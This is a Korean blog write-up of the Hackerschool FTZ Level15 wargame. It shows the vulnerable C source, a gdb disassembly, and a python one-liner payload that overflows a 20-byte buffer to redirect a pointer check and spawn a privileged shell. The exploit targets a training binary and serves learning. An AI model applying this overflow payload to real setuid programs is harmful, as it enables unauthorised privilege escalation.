본문 바로가기
hackerschool bof/hackerschool ftz

해커스쿨(Hackerschool) FTZ Level15 문제풀이

by 깝태 2011. 5. 10.

해커스쿨(Hackerschool) FTZ Level15 문제풀이를 시작하겠습니다.

[level15@ftz level15]$ ls
attackme  hint  public_html  tmp
 
[level15@ftz level15]$ cat hint

#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}  

이번 문제소스는 아까와 같으나 check 가 포인터 변수 입니다.
저는 deadbeef 가 있는 곳의 주소를 덮어주는 방법을 이용했습니다.

(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push   %ebp
0x08048491 <main+1>: mov    %esp,%ebp
0x08048493 <main+3>: sub    $0x38,%esp
0x08048496 <main+6>: sub    $0x4,%esp
0x08048499 <main+9>: pushl  0x8049664
0x0804849f <main+15>: push   $0x2d
0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax
0x080484a4 <main+20>: push   %eax
0x080484a5 <main+21>: call   0x8048360 <fgets>
0x080484aa <main+26>: add    $0x10,%esp
0x080484ad <main+29>: mov    0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl   $0xdeadbeef,(%eax)
0x080484b6 <main+38>: jne    0x80484dd <main+77>
0x080484b8 <main+40>: sub    $0x8,%esp
0x080484bb <main+43>: push   $0xc18
0x080484c0 <main+48>: push   $0xc18
0x080484c5 <main+53>: call   0x8048380 <setreuid>
0x080484ca <main+58>: add    $0x10,%esp
0x080484cd <main+61>: sub    $0xc,%esp
0x080484d0 <main+64>: push   $0x8048548
0x080484d5 <main+69>: call   0x8048340 <system>
0x080484da <main+74>: add    $0x10,%esp
0x080484dd <main+77>: leave  
0x080484de <main+78>: ret    
0x080484df <main+79>: nop    
End of assembler dump.

아래와 같은 방법으로 deadbeef 를 가리키고 있는 주소를 찾으면 됩니다.

0x8048490 <main>: 0x83e58955
(gdb) 
0x8048494 <main+4>: 0xec8338ec
(gdb) 
0x8048498 <main+8>: 0x6435ff04
(gdb) 
0x804849c <main+12>: 0x6a080496
(gdb) 
0x80484a0 <main+16>: 0xc8458d2d
(gdb) 
0x80484a4 <main+20>: 0xfeb6e850
(gdb) 
0x80484a8 <main+24>: 0xc483ffff
(gdb) 
0x80484ac <main+28>: 0xf0458b10
(gdb) 
0x80484b0 <main+32>: 0xbeef3881
(gdb) 
0x80484b4 <main+36>: 0x2575dead
(gdb) x/x main+34
0x80484b2 <main+34>: 0xdeadbeef

[level15@ftz level15]$ (python -c 'print "\x90"*40 + "\xb2\x84\x04\x08" + "\x90"*12';cat)|./attackme
my-pass

Level16 Password is "                   ".